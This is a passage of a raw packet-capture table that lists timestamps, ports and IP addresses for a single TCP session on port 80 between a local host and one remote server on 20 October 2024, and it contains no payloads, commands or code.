Oct 20, 2024 23:43:04.420500040 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.420670033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.420773983 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.420953035 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.420964956 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.420975924 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421009064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.421062946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.421108007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421120882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421133041 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421154976 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421165943 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.421189070 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.421230078 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.421401024 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421411991 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421422958 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421436071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421447992 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421461105 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421464920 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.421494961 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.421494961 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.421515942 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.421861887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421919107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421931028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.421974897 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.422008038 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.422097921 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.422111034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.422122955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.422135115 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.422183990 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.422183990 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.422383070 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.422394037 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.422405958 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.422418118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.422430038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.422441959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.422454119 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.422475100 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.422476053 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.422833920 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.422884941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.422897100 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.422931910 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.422950983 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.423022032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.423033953 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.423044920 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.423057079 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.423099995 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.423099995 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.423202991 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.423217058 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.423263073 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.423274994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.565588951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.565680981 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.608681917 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.608701944 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.608724117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.608735085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.608746052 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.608813047 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.608813047 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.608834982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.608848095 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.608899117 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.608923912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.608936071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.608994007 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.609039068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609050035 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609131098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609142065 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609184980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.609184980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.609278917 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609291077 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609302044 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609313965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609324932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609354973 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.609354973 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.609386921 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.609498978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609510899 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609522104 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609579086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.609579086 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.609632969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609652996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609666109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609677076 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609689951 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.609708071 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.609708071 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.609839916 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.609996080 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610008001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610018969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610032082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610045910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610054016 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.610059023 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610071898 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610089064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.610089064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.610120058 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.610447884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610466003 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610479116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610491037 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610503912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610516071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610521078 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.610521078 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.610590935 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.610893965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610908031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610918045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.610960960 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.610960960 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.611079931 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.611092091 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.611104012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.611115932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.611129045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.611140013 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.611151934 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.611161947 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.611161947 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.611162901 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.611176968 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.611187935 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.611198902 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.611198902 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.611227989 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.611270905 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.611551046 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.611608982 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.613816977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.613889933 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.613913059 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.613938093 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.613946915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.613959074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.613970995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614005089 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614052057 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614057064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614109993 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614140987 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614152908 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614171982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614183903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614197016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614216089 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614216089 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614284992 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614448071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614460945 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614471912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614484072 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614522934 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614522934 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614607096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614619017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614629030 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614641905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614666939 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614666939 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614696026 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614751101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614857912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614869118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614880085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614882946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614892006 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614903927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614914894 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.614926100 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614926100 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.614964008 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615154028 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615164995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615176916 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615189075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615201950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615228891 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615228891 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615253925 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615427971 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615439892 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615458965 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615470886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615482092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615494967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615506887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615508080 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615508080 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615520954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615540981 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615540981 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615571022 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615725040 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615786076 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615828037 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615840912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615850925 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615864038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615895033 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615910053 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615922928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615933895 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615946054 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615953922 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615953922 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615959883 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615973949 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.615997076 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.615997076 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.616033077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.616386890 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616399050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616410017 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616421938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616434097 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616444111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616446972 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.616457939 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616461039 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.616487026 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.616522074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.616720915 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616733074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616744995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616755009 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616766930 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616771936 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.616780043 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616792917 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.616811037 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.616811037 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.616919994 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.617105007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617115021 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617125034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617137909 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617150068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617157936 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.617161989 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617202997 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.617202997 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.617214918 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617228031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617238045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617244959 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.617250919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617259979 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.617261887 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617275000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617285967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617297888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617311001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617341995 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.617341995 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.617341995 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.617362976 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.617978096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.617990971 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618001938 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618012905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618025064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618036032 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618042946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.618042946 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.618050098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618062019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618073940 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.618074894 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618088007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618093967 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.618100882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618108034 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.618114948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618127108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618135929 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.618138075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618151903 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618160009 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.618165016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618180990 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.618195057 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.618221045 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.618688107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618699074 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618711948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618724108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618735075 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618741035 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.618746996 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.618782043 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.618782043 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.618819952 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.619008064 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619019985 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619030952 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619043112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619055033 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619065046 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619076967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619086981 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619090080 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.619090080 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.619132042 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.619132042 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.619146109 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619159937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619169950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619175911 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.619182110 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619194031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619198084 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.619205952 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619218111 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619229078 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:04.619235039 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:04.619235039 CEST	49708	80	192.168.2.11	185.215.113.37
